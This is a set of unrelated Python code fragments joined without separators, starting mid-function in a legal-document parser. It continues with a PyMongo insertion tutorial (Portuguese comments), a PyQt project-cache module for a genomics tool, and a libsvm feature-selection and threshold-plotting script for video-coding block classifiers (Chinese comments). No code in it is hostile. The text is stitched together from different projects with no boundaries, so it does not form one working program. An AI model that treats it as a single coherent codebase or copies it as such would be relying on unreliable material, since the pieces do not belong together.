                result = re.match(REGEX_PARAGRAPH, stripped_text)
                found_paragraph = False
                if result:
                    paragraph_num_candidate = result.groupdict()[
                        'paragraph_num'
                    ]
                    if (
                        paragraph_num_candidate != 'i'
                        or prev_paragraph_num == 'h'
                    ):
                        paragraph_num = paragraph_num_candidate
                        sub_paragraph_num = None
                        prev_paragraph_num = paragraph_num
                        found_paragraph = True

                if not found_paragraph:
                    result = re.match(REGEX_SUB_PARAGRAPH, stripped_text)
                    if result:
                        sub_paragraph_num = result.groupdict()[
                            'sub_paragraph_num'
                        ]

        textlines_with_metadata.append(
            textline
            | dict(
                part_num=part_num,
                schedule_num=schedule_num,
                section_num=section_num,
                subsection_num=subsection_num,
                paragraph_num=paragraph_num,
                sub_paragraph_num=sub_paragraph_num,
            )
        )

    return textlines_with_metadata

def convert(config):
    json_textlines_file = get_file_name(config, 'textlines.json')
    json_file = get_file_name(config, 'json')
    textlines = JSONFile(json_textlines_file).read()
    textlines_with_metadata = add_metadata(textlines)

    textlines_with_metadata_file = get_file_name(
        config, 'textlines_with_metadata.json'
    )
    JSONFile(textlines_with_metadata_file).write(textlines_with_metadata)

    intro_data = extract_intro_data(textlines_with_metadata)

    data = intro_data | dict(
        parts=extract_parts(textlines_with_metadata),
        schedules=extract_schedules(textlines_with_metadata),
    )

    JSONFile(json_file).write(config | data)
    log.info(f'{json_textlines_file} -> {json_file}')


from pymongo import MongoClient

import datetime
import pprint

client = MongoClient(

)

db = client.test
collection = db.test_collection
print(db.test_collection)  # Retorna as propriedades do cluster

# Definição de informações para compor o documento
post = {
    "author": "Mike",
    "text": "My First MongoDB Application based on python",
    "tags": ["mongodb", "python3", "pymongo"],
    "date": datetime.datetime.utcnow()
}

# Preparando para submeter as Infos
posts = db.posts
posts_id = posts.insert_one(post).inserted_id  # Inserindo um Documento
print(posts_id)

print(db.list_collection_names())  # Retorna os Nomes Da Coleções Do Banco De Dados
print(db.posts.find_one())  # Recupera um Documento do Mongo Db

pprint.pprint(db.posts.find_one())  # Mostra de Forma Identada o Documento

# bulk inserts
new_posts = [
    {
        "author": "Mike",
        "text": "Another Post",
        "tags": ["bulk", "post", "insert"],
        "date": datetime.datetime.utcnow()
    },
    {
        "author": "João",
        "text": "Post from Joao, new Post available",
        "title": "Mongo is Fun",
        "date": datetime.datetime(2009, 11, 10, 10, 45)
    }
]

result = posts.insert_many(new_posts)  # Inserindo Varios Documento
print(result.inserted_ids)

print("\n Recuperação Final")
pprint.pprint(db.posts.find_one({"author": "João"}))

print("\n Documentos Presentes na Coleção Post")
for post in posts.find():  # Recuperando os Documentos Da Coleção Post
    pprint.pprint(post)


#!/bin/python3

from PyQt5.QtCore import QDir, QFile, QIODevice, QTextStream, QFileInfo
from lib.models.project import Project
import json

def writeCache(project):
    projectCacheFile = QFile("%s/Cache/project.cache" %(project.getPath().path()))
    if projectCacheFile.open(QIODevice.WriteOnly | QIODevice.Text):
        projectCacheOut = QTextStream(projectCacheFile)
        projectCacheOut << "Project path:\t%s\n" %(project.getPath().path())
        projectCacheOut << "Genomes:\t"
        tmp = ""
        for genome in project.getGenomes():
            tmp += genome + ","
        if tmp:
            projectCacheOut << "%s\n" %(tmp[:-1])
        else:
            projectCacheOut << "-\n"
        projectCacheOut << "Annotator step1:\t" + json.dumps(project.getAnnotatorStep1Info()) + "\n"
        projectCacheOut << "Annotator step2:\t" + json.dumps(project.getAnnotatorStep2Info()) + "\n"
        projectCacheOut << "RNAtor step1:\t" + json.dumps(project.getRNAtorStep1Info()) + "\n"
        projectCacheOut << "RNAtor step2:\t" + json.dumps(project.getRNAtorStep2Info()) + "\n"

def checkProjectCache(projectPath):
    if QFileInfo.exists("%s/Cache/project.cache" %(projectPath)):
        projectCacheFile = QFile("%s/Cache/project.cache" %(projectPath))
        if projectCacheFile.open(QIODevice.ReadOnly | QIODevice.Text):
            projectCacheIn = QTextStream(projectCacheFile)
            toReturn = []
            while not projectCacheIn.atEnd():
                line = projectCacheIn.readLine().strip().split("\t")
                if "Project path:" in line and projectPath.split("/")[-1] == line[-1].split("/")[-1]:
                    continue
                elif "Genomes:" in line:
                    tmp = []
                    if "-" in line:
                        continue
                    else:
                        for genome in line[-1].split(","):
                            tmp.append(genome)
                        toReturn.append(tmp)
                elif "Annotator step1:" in line:
                    toReturn.append(json.loads(line[-1]))
                elif "Annotator step2:" in line:
                    toReturn.append(json.loads(line[-1]))
                elif "RNAtor step1:" in line:
                    toReturn.append(json.loads(line[-1]))
                elif "RNAtor step2:" in line:
                    toReturn.append(json.loads(line[-1]))
                else:
                    return
            return tuple(toReturn)
        else:
            return
    else:
        return


import glob
import numpy as np
import pandas as pd
from sklearn.model_selection import train_test_split
import os
import subprocess
import minepy as mp
import argparse
import shutil
import time
import matplotlib.pyplot as plt

def stand_sca(data):
    """
    标准差标准化
    :param data:传入的数据
    :return:标准化之后的数据
    """
    new_data=(data-data.mean())/data.std()
    return new_data

'''
@写libsvm数据
    write_data_sns(classifier, df, feature)
    write_subdata_sns(classifier, df, feature)
    write_data_hsvs(classifier, df, feature)
    write_subdata_hsvs(classifier, df, feature)
    writesns(classifier, feature)
    write2hsvs(classifier, feature)
'''

def write_data_sns(classifier, df, feature):

    if not os.path.exists('libsvmdata/' + classifier):
        os.mkdir('libsvmdata/' + classifier)

    data_file = open('libsvmdata/'  + classifier + '/test' + '.txt', 'w')

    y = df.loc[:, 'mode']
    X = df.loc[:, feature]
    X = stand_sca(X) #标准化

    X, _, y, _ = train_test_split(X, y, train_size=10000, stratify=y)

    for i in X.index:
        label = y[i]
        if(label == 2000):
            label = 0
        else:
            label = 1
        data_file.write(str(label) + ' ')
        n = 0
        for m in feature:
            data_file.write(str(n+1) + ':' + str(X.loc[i, m]) + ' ')
            n = n + 1
        data_file.write('\n')
    data_file.close()

def write_subdata_sns(classifier, df, feature):
    X = df.loc[:, feature]
    y = df.loc[:, 'mode']
    X = stand_sca(X) #标准化

    if not os.path.exists('libsvmdata/' + classifier):
        os.mkdir('libsvmdata/' + classifier)
    for i in range(30):
        X_train, _, y_train, _ = train_test_split(X, y, train_size=200, stratify=y)
        data_file = open('libsvmdata/'  + classifier + '/train' + str(i) + '.txt', 'w')
        for m in X_train.index:
            label = y_train[m]
            if(label == 2000):
                label = 0
            else:
                label = 1
            data_file.write(str(label) + ' ')
            n = 0
            for k in feature:
                data_file.write(str(n+1) + ':' + str(X_train.loc[m, k]) + ' ')
                n = n + 1
            data_file.write('\n')
        data_file.close()

def write_data_hsvs(classifier, df, feature):

    if not os.path.exists('libsvmdata/' + classifier):
        os.mkdir('libsvmdata/' + classifier)

    y = df.loc[:, 'mode']
    X = df.loc[:, feature]
    X = stand_sca(X) #标准化
    X, _, y, _ = train_test_split(X, y, train_size=10000, stratify=y)
    data_file = open('libsvmdata/'  + classifier + '/test' + '.txt', 'w')

    for i in X.index:
        data_file.write(str(df.loc[i, 'mode']) + ' ')
        n = 0
        for m in feature:
            data_file.write(str(n+1) + ':' + str(X.loc[i, m]) + ' ')
            n = n + 1
        data_file.write('\n')
    data_file.close()

def write_subdata_hsvs(classifier, df, feature):
    X = df.loc[:, feature]
    y = df.loc[:, 'mode']
    X = stand_sca(X) #标准化

    if not os.path.exists('libsvmdata/' + classifier):
        os.mkdir('libsvmdata/' + classifier)
    for i in range(30):
        X_train, _, y_train, _ = train_test_split(X, y, train_size=200, stratify=y)
        data_file = open('libsvmdata/'  + classifier + '/train' + str(i) + '.txt', 'w')
        for m in X_train.index:
            data_file.write(str(y_train[m]) + ' ')
            n = 0
            for k in feature:
                data_file.write(str(n+1) + ':' + str(X_train.loc[m, k]) + ' ')
                n = n + 1
            data_file.write('\n')
        data_file.close()

def writesns(classifier, feature):
    path = "csv_data/" + classifier + "_0.csv"
    df = pd.read_csv(path)
    df['ngrad'] = df.loc[:, 'ngradx'] + df.loc[:, 'ngrady']
    df['MaxDiffgrad'] = df.loc[:, 'MaxDiffgradx'] + df.loc[:, 'MaxDiffgrady']
    df['Inconsgradh'] = df.loc[:, 'Inconsgradxh'] + df.loc[:, 'Inconsgradyh']
    df['Inconsgradv'] = df.loc[:, 'Inconsgradxv'] + df.loc[:, 'Inconsgradyv']
    write_subdata_sns(classifier, df, feature)
    write_data_sns(classifier, df, feature)

def writehsvs(classifier, feature):
    path = "csv_data/" + classifier + "_0.csv"
    df = pd.read_csv(path)
    write_subdata_hsvs(classifier, df, feature)
    write_data_hsvs(classifier, df, feature)

def cal_mean_std_sns(classifier, feature):
    print(classifier)
    path = "csv_data/" + classifier + "_0.csv"
    df = pd.read_csv(path)
    mea = np.array(df[feature].mean())
    st = np.array(df[feature].std())
    print(classifier + 'mean = {', mea[0], ',', mea[1], ',', mea[2],',', mea[3],',', mea[4],',', mea[5],',', mea[6],',', mea[7],'}')
    print(classifier + 'std = {', st[0], ',', st[1], ',', st[2],',', st[3],',', st[4],',', st[5],',', st[6],',', st[7],'}')

def cal_mean_std_hsvs(classifier, feature):
    print(classifier)
    path = "csv_data/" + classifier + "_0.csv"
    df = pd.read_csv(path)
    mea = np.array(df[feature].mean())
    st = np.array(df[feature].std())
    print(classifier + 'mean = {', mea[0], ',', mea[1], ',', mea[2],',', mea[3],',', mea[4],',', mea[5], '}')
    print(classifier + 'std = {', st[0], ',', st[1], ',', st[2],',', st[3],',', st[4],',', st[5],'}')

'''
Run libsvm
    run_ParaSearch(exe, train_file, test_file, model_file, predict_file, log_file)
    run_th(exe, test_file, model_file, predict_file, log_file)
    train_sub_set(exe, classifier)
    select_th(exe, classifier)
'''

def run_predict(exe, test_file, model_file, predict_file, log_file):

    cmd = exe + ' -b 1 ' + test_file + ' ' + model_file + ' ' + predict_file + ' > ' + log_file
    subprocess.Popen(cmd, shell=True)

def run_ParaSearch(exe, train_file, test_file, model_file, predict_file, log_file):

    cmd = exe + ' -i ' + train_file + ' -e ' + test_file + ' -m ' + model_file + ' -p ' + predict_file + ' > ' + log_file
    subprocess.Popen(cmd, shell=True)

def run_th(exe, test_file, model_file, predict_file, log_file):

    cmd = exe + ' -e ' + test_file + ' -m ' + model_file + ' -p ' + predict_file + ' > ' + log_file
    subprocess.Popen(cmd, shell=True)

def train_sub_set(exe, classifier):

    path = 'libsvmdata/' + classifier + '/'
    log_path = path + 'log/'

    if not os.path.exists(log_path):
        os.mkdir(log_path)

    test_file = path + 'test.txt'
    for i in range(30):
        train_file = path + 'train' + str(i) + '.txt'
        model_file = log_path + 'model' + str(i) + '.txt'
        predict_file = log_path + 'predict' + str(i) + '.txt'
        log_file = log_path + 'log' + str(i) + '.txt'
        run_ParaSearch(exe, train_file, test_file, model_file, predict_file, log_file)

def select_th(exe, classifier):

    path = 'libsvmdata/' + classifier + '/'
    log_path = path + 'log/'
    model_path = 'model/'

    if not os.path.exists(log_path):
        os.mkdir(log_path)

    test_file = path + 'test.txt'
    model_file = model_path + classifier + '.txt'
    predict_file = log_path + 'predict' + '.txt'
    log_file = log_path + 'log' + '.txt'
    run_th(exe, test_file, model_file, predict_file, log_file)

def read_log(logs_path):

    output_path = 'model/'
    classifer_path = os.listdir(logs_path)
    row = 1
    for classifer in classifer_path:
        #print(classifer)
        logs = os.listdir(logs_path + classifer+'/log/')
        max_acc = 0
        max_seq = 0
        for log_name in logs:
            if log_name.startswith('log') and not log_name.startswith('log.txt'):
                _, num = log_name.split('log')
                num, _ = num.split('.txt')
                file = open(logs_path + classifer + '/log/' + log_name, 'r')
                line = ' '
                while not line.startswith('Summary:'):
                    line = file.readline()
                line = file.readline()
                line = line.strip()
                before, _ = line.split('%')
                _, acc = before.split('=')
                acc = acc.strip()
                if float(acc) > max_acc:
                    max_acc =  float(acc)
                    max_seq = num
        print(classifer + ': ', max_acc, max_seq)
        shutil.copyfile(logs_path + classifer + '/log/model' + str(max_seq) + '.txt', output_path + classifer + '.txt')

def readth_log(logs_path):

    classifer_path = os.listdir(logs_path)
    row = 1
    df = pd.DataFrame()
    for classifer in classifer_path:
        #print(classifer)
        logs = os.listdir(logs_path + classifer+'/log/')
        th = []
        acc = []
        for log_name in logs:
            if log_name.startswith('log.txt'):
                file = open(logs_path + classifer + '/log/' + log_name, 'r')
                line = ' '
                while not line.startswith('th = 1'):
                    if line.startswith('th'):
                        line = line.strip()
                        before, _ = line.split('%')
                        before, ac = before.split('Accuracy = ')
                        _, t = before.split('= ')
                        acc.append(float(ac.strip()))
                        th.append(float(t.strip()))
                        #print(line)
                    line = file.readline()
                #print(line)
        df['th'] = th
        df[classifer] = acc
    #print(df)
    #plt.figure(num='th')
    fig, ax = plt.subplots()
    #ax.plot(df.loc[:, 'th'], df.loc[:, 's-ns_64x64'], label = '64x64', linewidth=2.0)
    ax.plot(df.loc[:, 'th'], df.loc[:, 's-ns_32x32'], label = '32x32', linewidth=2.0)
    ax.plot(df.loc[:, 'th'], df.loc[:, 's-ns_16x16'], label = '16x16', linewidth=2.0)
    #ax.plot(df.loc[:, 'th'], df.loc[:, 's-ns_8x8'], label = '8x8', linewidth=2.0)
    ax.plot(df.loc[:, 'th'], df.loc[:, 's-ns_32x16'], label = '32x16', linewidth=2.0)
    ax.plot(df.loc[:, 'th'], df.loc[:, 's-ns_32x8'], label = '32x8', linewidth=2.0)
    #ax.plot(df.loc[:, 'th'], df.loc[:, 's-ns_32x4'], label = '32x4', linewidth=2.0)
    ax.plot(df.loc[:, 'th'], df.loc[:, 's-ns_16x8'], label = '16x8', linewidth=2.0)
    #ax.plot(df.loc[:, 'th'], df.loc[:, 's-ns_16x4'], label = '16x4', linewidth=2.0)
    #ax.plot(df.loc[:, 'th'], df.loc[:, 's-ns_8x4'], label = '8x4', linewidth=2.0)

    #df.plot.line(x= 'th', y='s-ns_64x64')
    ax.legend(fontsize=15)

    plt.xlim((0.5, 1.01))
    plt.ylim((70, 101))
    #设置坐标轴名称
    plt.xlabel('Threshold',fontsize=15)
    plt.ylabel('Accuracy (%)',fontsize=15)

    #设置坐标轴刻度
    my_x_ticks = np.arange(0.5, 1.01, 0.1)
    my_y_ticks = np.arange(70, 101, 5)
    plt.xticks(my_x_ticks,fontsize=15)
    plt.yticks(my_y_ticks,fontsize=15)
    plt.grid()
    plt.savefig(fname = 'snsth.png', dpi=500)
    #print(df)

    fig, ax2 = plt.subplots()
    ax2.plot(df.loc[:, 'th'], df.loc[:, 'hs-vs_32x32'], label = '32x32', linewidth=2.0)
    ax2.plot(df.loc[:, 'th'], df.loc[:, 'hs-vs_16x16'], label = '16x16', linewidth=2.0)
    ax2.plot(df.loc[:, 'th'], df.loc[:, 'hs-vs_32x16'], label = '32x16', linewidth=2.0)
    ax2.plot(df.loc[:, 'th'], df.loc[:, 'hs-vs_32x8'], label = '32x8', linewidth=2.0)
    ax2.plot(df.loc[:, 'th'], df.loc[:, 'hs-vs_16x8'], label = '16x8', linewidth=2.0)
    #ax2.plot(df.loc[:, 'th'], df.loc[:, 'hs-vs_8x8'], label = '8x8', linewidth=2.0)

    #df.plot.line(x= 'th', y='s-ns_64x64')
    ax2.legend(fontsize=15)

    plt.xlim((0.5, 1.01))
    plt.ylim((65, 101))
    #设置坐标轴名称
    plt.xlabel('Threshold', fontsize=15)
    plt.ylabel('Accuracy (%)', fontsize=15)

    #设置坐标轴刻度
    my_x_ticks = np.arange(0.5, 1.01, 0.1)
    my_y_ticks = np.arange(65, 101, 5)
    plt.xticks(my_x_ticks, fontsize=15)
    plt.yticks(my_y_ticks, fontsize=15)
    plt.grid()
    plt.savefig(fname = 'hsvsth.png', dpi=500)

def read_csv_data(read_path):

    read_csv = glob.glob(os.path.join(read_path,'*.csv')) # read the address of every csv file

    df = None
    seq_name = []

    for i, path in enumerate(read_csv):     #  Loop reading every csv file

        before, file_name = path.split(read_path)
        file_name, csv = file_name.split('.')
        seq_name.append(file_name)

        month = pd.read_csv(path)
        if df is None:          # if df is empty
            df = month
        else:
            df = pd.concat([df,month], ignore_index = True)  # emerge every csv data

    return df, seq_name

def balance_set(set1, set2, size = 0):

    # balance trainning data set
    if size > set1.shape[0] or size > set2.shape[0]:
        print("the size is too large")
        return

    if size == 0:
        if set1.shape[0] < set2.shape[0]:
            set2 = set2.sample(n=int(len(set1)), replace=False, axis=0)
        if set1.shape[0] > set2.shape[0]:
            set1 = set1.sample(n=int(len(set2)), replace=False, axis=0)
    else:
        set1 = set1.sample(n=size, replace=False, axis=0)
        set2 = set2.sample(n=size, replace=False, axis=0)
    df = pd.concat([set2, set1], axis=0)

    return df

def save_block_set_sns(df, w, h, file_name, data_size = 0, isbalance_set = True):
    df = df[df['w'] == w]
    df = df[df['h'] == h]

    if isbalance_set:
        if data_size == 0:
            df = balance_set(df[df['mode'] == 2000], df[df['mode'] != 2000])
        else:
            df = balance_set(df[df['mode'] == 2000], df[df['mode'] != 2000], data_size)
    file_name = file_name + '_' + str(w) + 'x' +str(h) + '_' +str(data_size) + '.csv'
    df.to_csv('csv_data/' + file_name)

def save_block_set_hsvs(df, w, h, file_name, data_size = 0, isbalance_set = True):
    df = df[df['w'] == w]
    df = df[df['h'] == h]

    for i in df.index:
        if df.loc[i, 'mode'] == 2 or df.loc[i, 'mode'] == 4:
            df.loc[i, 'mode'] = 100  # HS
        if df.loc[i, 'mode'] == 3 or df.loc[i, 'mode'] == 5:
            df.loc[i, 'mode'] = 200  # VS

    if isbalance_set:
        if data_size == 0:
            df = balance_set(df[df['mode'] == 100], df[df['mode'] == 200])
        else:
            df = balance_set(df[df['mode'] == 100], df[df['mode'] == 200], data_size)
    file_name = file_name + '_' + str(w) + 'x' +str(h) + '_' +str(data_size) + '.csv'
    df.to_csv('csv_data/' + file_name)

def mic(x, y):

    # calculate the maximal information coefficient

    x = np.array(x)
    y = np.array(y)
    mine = mp.MINE(alpha=0.6, c=15, est="mic_approx")
    mine.compute_score(x, y)

    return mine.mic()

def feature_train(classifier, feature):

    if classifier.startswith('s'):
        writesns(classifier, feature)
    else:
        writehsvs(classifier, feature)
    print(feature)

    ParaSearchs = 'libsvmexe/ParaSs'
    train_sub_set(ParaSearchs, classifier)
    time.sleep(5)
    while 1:
        file_handle = os.popen('ps -a | grep ' + 'ParaSs' + '| wc -l')
        Numproc = int(file_handle.read())
        if Numproc == 0:
            break
        time.sleep(1)
    #read_log('libsvmdata/')

###################################################################################################################################

# 保存块data sns
if 0:
    read_path = 'train/'      # the path of csv file
    df, seq_name = read_csv_data(read_path)

    df = df[df['chType'] == 0]

    save_block_set_sns(df, 64, 64,'s-ns')
    save_block_set_sns(df, 32, 32,'s-ns')
    save_block_set_sns(df, 16, 16,'s-ns')
    save_block_set_sns(df, 8, 8,'s-ns')
    save_block_set_sns(df, 32, 16,'s-ns')
    save_block_set_sns(df, 32, 8,'s-ns')
    save_block_set_sns(df, 32, 4,'s-ns')
    save_block_set_sns(df, 16, 8,'s-ns')
    save_block_set_sns(df, 16, 4,'s-ns')
    save_block_set_sns(df, 8, 4,'s-ns')

# 保存块data hsvs
if 0:
    read_path = 'train/'      # the path of csv file
    df, seq_name = read_csv_data(read_path)

    df = df[df['chType'] == 0]

    save_block_set_hsvs(df, 32, 32,'hs-vs')
    save_block_set_hsvs(df, 16, 16,'hs-vs')
    save_block_set_hsvs(df, 8, 8,'hs-vs')
    save_block_set_hsvs(df, 32, 16,'hs-vs')
    save_block_set_hsvs(df, 32, 8,'hs-vs')
    save_block_set_hsvs(df, 16, 8,'hs-vs')

# 计算 mic
if 0:
    train_set_path = 'csv_data/hs-vs_16x8_0.csv'
    print(train_set_path)
    df = pd.read_csv(train_set_path)

    y = df.loc[:, 'mode']

    feature = ['qp', 'var', 'ndvarh','ndvarv','ndva','MaxDiffVar','InconsVarH','InconsVarV','ngradx','ngrady','ndgradxh','ndgradxv','ndgradyh','ndgradyv','ndgradx','ndgrady','gmx']
    for f in feature:
        print(f + ": ", mic(y, df.loc[:, f]))

# 计算 mic 标准化
if 0:
    parser = argparse.ArgumentParser(
      formatter_class=argparse.ArgumentDefaultsHelpFormatter)
    parser.add_argument("--classifier", default='s-ns_64x64')
    args = parser.parse_args()
    classifier = args.classifier
    train_set_path = 'csv_data/' + classifier + '_0.csv'
    print(train_set_path)
    df = pd.read_csv(train_set_path)

    y = df.loc[:, 'mode']
    if classifier.startswith('s-ns'):
        y[y != 2000] = 1
        y[y == 2000] = 0
    df['ngrad'] = df.loc[:, 'ngradx'] + df.loc[:, 'ngrady']
    df['MaxDiffgrad'] = df.loc[:, 'MaxDiffgradx'] + df.loc[:, 'MaxDiffgrady']
    df['Inconsgradh'] = df.loc[:, 'Inconsgradxh'] + df.loc[:, 'Inconsgradyh']
    df['Inconsgradv'] = df.loc[:, 'Inconsgradxv'] + df.loc[:, 'Inconsgradyv']
    df = stand_sca(df)

    feature = ['qp', 'var','ngradx','ngrady','gmx','ndva', 'ndgradx','ndgrady','MaxDiffVar', 'MaxDiffgradx', 'MaxDiffgrady']
    for f in feature:
        print(f + ": ", mic(y, df.loc[:, f]))

# 写libsvm data sns
if 0:
    # writesns('s-ns_64x64', ['qp', 'var', 'MaxDiffVar', 'InconsVarH', 'InconsVarV', 'gmx', 'ngrad', 'MaxDiffgrad', 'Inconsgradh', 'Inconsgradv'])
    writesns('s-ns_32x32', ['qp', 'var','ngradx', 'ngrady', 'gmx', 'MaxDiffVar', 'MaxDiffgradx', 'MaxDiffgrady'])
    # writesns('s-ns_16x16', ['qp', 'var', 'MaxDiffVar', 'InconsVarH', 'InconsVarV', 'gmx', 'ngrad', 'MaxDiffgrad', 'Inconsgradh', 'Inconsgradv'])
    # # writesns('s-ns_8x8', ['qp', 'var', 'MaxDiffVar', 'InconsVarH', 'InconsVarV', 'gmx', 'ngrad', 'MaxDiffgrad', 'Inconsgradh', 'Inconsgradv'])
    # writesns('s-ns_32x16', ['qp', 'var', 'MaxDiffVar', 'InconsVarH', 'InconsVarV', 'gmx', 'ngrad', 'MaxDiffgrad', 'Inconsgradh', 'Inconsgradv'])
    # writesns('s-ns_32x8', ['qp', 'var', 'MaxDiffVar', 'InconsVarH', 'InconsVarV', 'gmx', 'ngrad', 'MaxDiffgrad', 'Inconsgradh', 'Inconsgradv'])
    # # writesns('s-ns_32x4', ['qp', 'var', 'MaxDiffVar', 'InconsVarH', 'InconsVarV', 'gmx', 'ngrad', 'MaxDiffgrad', 'Inconsgradh', 'Inconsgradv'])
    # writesns('s-ns_16x8', ['qp', 'var', 'MaxDiffVar', 'InconsVarH', 'InconsVarV', 'gmx', 'ngrad', 'MaxDiffgrad', 'Inconsgradh', 'Inconsgradv'])
    # writesns('s-ns_16x4', ['qp', 'var', 'MaxDiffVar', 'InconsVarH', 'InconsVarV', 'gmx', 'ngrad', 'MaxDiffgrad', 'Inconsgradh', 'Inconsgradv'])
    # writesns('s-ns_8x4', ['qp', 'var', 'MaxDiffVar', 'InconsVarH', 'InconsVarV', 'gmx', 'ngrad', 'MaxDiffgrad', 'Inconsgradh', 'Inconsgradv'])

# 写libsvm data hsvs
if 0:
    writehsvs('hs-vs_32x32', ['qp', 'ndva', 'ngradx', 'ngrady', 'ndgradx', 'ndgrady'])
    # writehsvs('hs-vs_16x16', ['qp', 'ndva', 'ngradx', 'ngrady', 'ndgradx2', 'ndgrady2'])
    # writehsvs('hs-vs_8x8', ['qp', 'ndva', 'ngradx', 'ngrady', 'ndgradx2', 'ndgrady2'])
    # writehsvs('hs-vs_32x16', ['qp', 'ndva', 'ngradx', 'ngrady', 'ndgradx2', 'ndgrady2'])
    # writehsvs('hs-vs_32x8', ['qp', 'ndva', 'ngradx', 'ngrady', 'ndgradx2', 'ndgrady2'])
    # writehsvs('hs-vs_16x8', ['qp', 'ndva', 'ngradx', 'ngrady', 'ndgradx2', 'ndgrady2'])

# 计算均值和方差 sns
if 0:
    # cal_mean_std_sns('s-ns_64x64', ['qp', 'var','ngradx', 'ngrady', 'gmx', 'MaxDiffVar', 'MaxDiffgradx', 'MaxDiffgrady'])
    # cal_mean_std_sns('s-ns_32x32', ['qp', 'var','ngradx', 'ngrady', 'gmx', 'MaxDiffVar', 'MaxDiffgradx', 'MaxDiffgrady'])
    # cal_mean_std_sns('s-ns_16x16', ['qp', 'var','ngradx', 'ngrady', 'gmx', 'MaxDiffVar', 'MaxDiffgradx', 'MaxDiffgrady'])
    # cal_mean_std_sns('s-ns_32x16', ['qp', 'var','ngradx', 'ngrady', 'gmx', 'MaxDiffVar', 'MaxDiffgradx', 'MaxDiffgrady'])
    # cal_mean_std_sns('s-ns_32x8', ['qp', 'var','ngradx', 'ngrady', 'gmx', 'MaxDiffVar', 'MaxDiffgradx', 'MaxDiffgrady'])
    # cal_mean_std_sns('s-ns_16x8', ['qp', 'var','ngradx', 'ngrady', 'gmx', 'MaxDiffVar', 'MaxDiffgradx', 'MaxDiffgrady'])
    cal_mean_std_sns('s-ns_8x8', ['qp', 'var','ngradx', 'ngrady', 'gmx', 'MaxDiffVar', 'MaxDiffgradx', 'MaxDiffgrady'])
    cal_mean_std_sns('s-ns_32x4', ['qp', 'var','ngradx', 'ngrady', 'gmx', 'MaxDiffVar', 'MaxDiffgradx', 'MaxDiffgrady'])
    cal_mean_std_sns('s-ns_16x4', ['qp', 'var','ngradx', 'ngrady', 'gmx', 'MaxDiffVar', 'MaxDiffgradx', 'MaxDiffgrady'])
    cal_mean_std_sns('s-ns_8x4', ['qp', 'var','ngradx', 'ngrady', 'gmx', 'MaxDiffVar', 'MaxDiffgradx', 'MaxDiffgrady'])

# 计算均值和方差 hsvs
if 0:
    # cal_mean_std_hsvs('hs-vs_32x32', ['qp', 'ngradx', 'ngrady', 'ndva', 'ndgradx2', 'ndgrady2'])
    # cal_mean_std_hsvs('hs-vs_16x16', ['qp', 'ngradx', 'ngrady', 'ndva', 'ndgradx2', 'ndgrady2'])
    # cal_mean_std_hsvs('hs-vs_32x16', ['qp', 'ngradx', 'ngrady', 'ndva', 'ndgradx2', 'ndgrady2'])
    # cal_mean_std_hsvs('hs-vs_32x8', ['qp', 'ngradx', 'ngrady', 'ndva', 'ndgradx2', 'ndgrady2'])
    # cal_mean_std_hsvs('hs-vs_16x8', ['qp', 'ngradx', 'ngrady', 'ndva', 'ndgradx2', 'ndgrady2'])
    cal_mean_std_hsvs('hs-vs_8x8', ['qp', 'ngradx', 'ngrady', 'ndva', 'ndgradx2', 'ndgrady2'])

# Run ParaSearch
if 0:
    ParaSearch = 'libsvmexe/ParaSearch'

# Run ParaSearch 子集
if 0:
    ParaSearch = 'libsvmexe/ParaSearch'
    ParaSearchs = 'libsvmexe/ParaPro'

    # train_sub_set(ParaSearchs, 's-ns_64x64')
    train_sub_set(ParaSearchs, 's-ns_32x32')
    # train_sub_set(ParaSearchs, 's-ns_16x16')
    # # train_sub_set(ParaSearchs, 's-ns_8x8')
    # train_sub_set(ParaSearchs, 's-ns_32x16')
    # train_sub_set(ParaSearchs, 's-ns_32x8')
    # # # train_sub_set(ParaSearchs, 's-ns_32x4')
    # train_sub_set(ParaSearchs, 's-ns_16x8')
    # train_sub_set(ParaSearchs, 's-ns_16x4')
    # train_sub_set(ParaSearchs, 's-ns_8x4')

    # train_sub_set(ParaSearchs, 'hs-vs_32x32')
    # train_sub_set(ParaSearchs, 'hs-vs_16x16')
    # train_sub_set(ParaSearchs, 'hs-vs_8x8')
    # train_sub_set(ParaSearchs, 'hs-vs_32x16')
    # train_sub_set(ParaSearchs, 'hs-vs_32x8')
    # train_sub_set(ParaSearchs, 'hs-vs_16x8')

# Run th
if 0:
    th = 'libsvmexe/th'
    # select_th(th, 's-ns_64x64')
    # select_th(th, 's-ns_32x32')
    # select_th(th, 's-ns_16x16')
    select_th(th, 's-ns_8x8')
    # select_th(th, 's-ns_32x16')
    # select_th(th, 's-ns_32x8')
    select_th(th, 's-ns_32x4')
    # select_th(th, 's-ns_16x8')
    select_th(th, 's-ns_16x4')
    select_th(th, 's-ns_8x4')
    # select_th(th, 'hs-vs_32x32')
    # select_th(th, 'hs-vs_16x16')
    select_th(th, 'hs-vs_8x8')
    # select_th(th, 'hs-vs_32x16')
    #select_th(th, 'hs-vs_32x8')
    #select_th(th, 'hs-vs_16x8')

# Run th log
if 0:
    readth_log('libsvmdata/')

# Run predict
if 0:
    predict = "libsvmexe/predict"
    for i in range(20):
        run_predict(predict, 'libsvmexe/test.txt', 'libsvmdata/s-ns_16x16/log/model' + str(i) + '.txt', 'libsvmexe/predict' + str(i) + '.txt', 'libsvmexe/log.txt')

# Run log
if 0:
    read_log('libsvmdata/')

#feature select
if 0:
    #feature_train('s-ns_64x64', ['qp', 'var', 'ngradx', 'ngrady', 'MaxDiffVar', 'InconsVarH', 'InconsVarV', 'gmx'])
    # fe = ['var', 'ngradx', 'ngrady', 'MaxDiffVar', 'InconsVarH', 'InconsVarV', 'gmx']
    # for f in fe:
    #     feature_train('s-ns_32x16', ['qp', f])
    # feature_train('s-ns_64x64', ['qp', 'var','ngradx', 'ngrady', 'gmx', 'MaxDiffVar', 'MaxDiffgradx', 'MaxDiffgrady'])
    # feature_train('s-ns_16x16', ['qp', 'var','ngradx', 'ngrady', 'gmx', 'MaxDiffVar', 'MaxDiffgradx', 'MaxDiffgrady'])
    # feature_train('s-ns_32x16', ['qp', 'var','ngradx', 'ngrady', 'gmx', 'MaxDiffVar', 'MaxDiffgradx', 'MaxDiffgrady'])
    # feature_train('s-ns_32x8', ['qp', 'var','ngradx', 'ngrady', 'gmx', 'MaxDiffVar', 'MaxDiffgradx', 'MaxDiffgrady'])
    # feature_train('s-ns_16x8', ['qp', 'var','ngradx', 'ngrady', 'gmx', 'MaxDiffVar', 'MaxDiffgradx', 'MaxDiffgrady'])
    #feature_train('s-ns_16x4', ['qp', 'var','ngradx', 'ngrady', 'gmx', 'MaxDiffVar', 'MaxDiffgradx', 'MaxDiffgrady'])
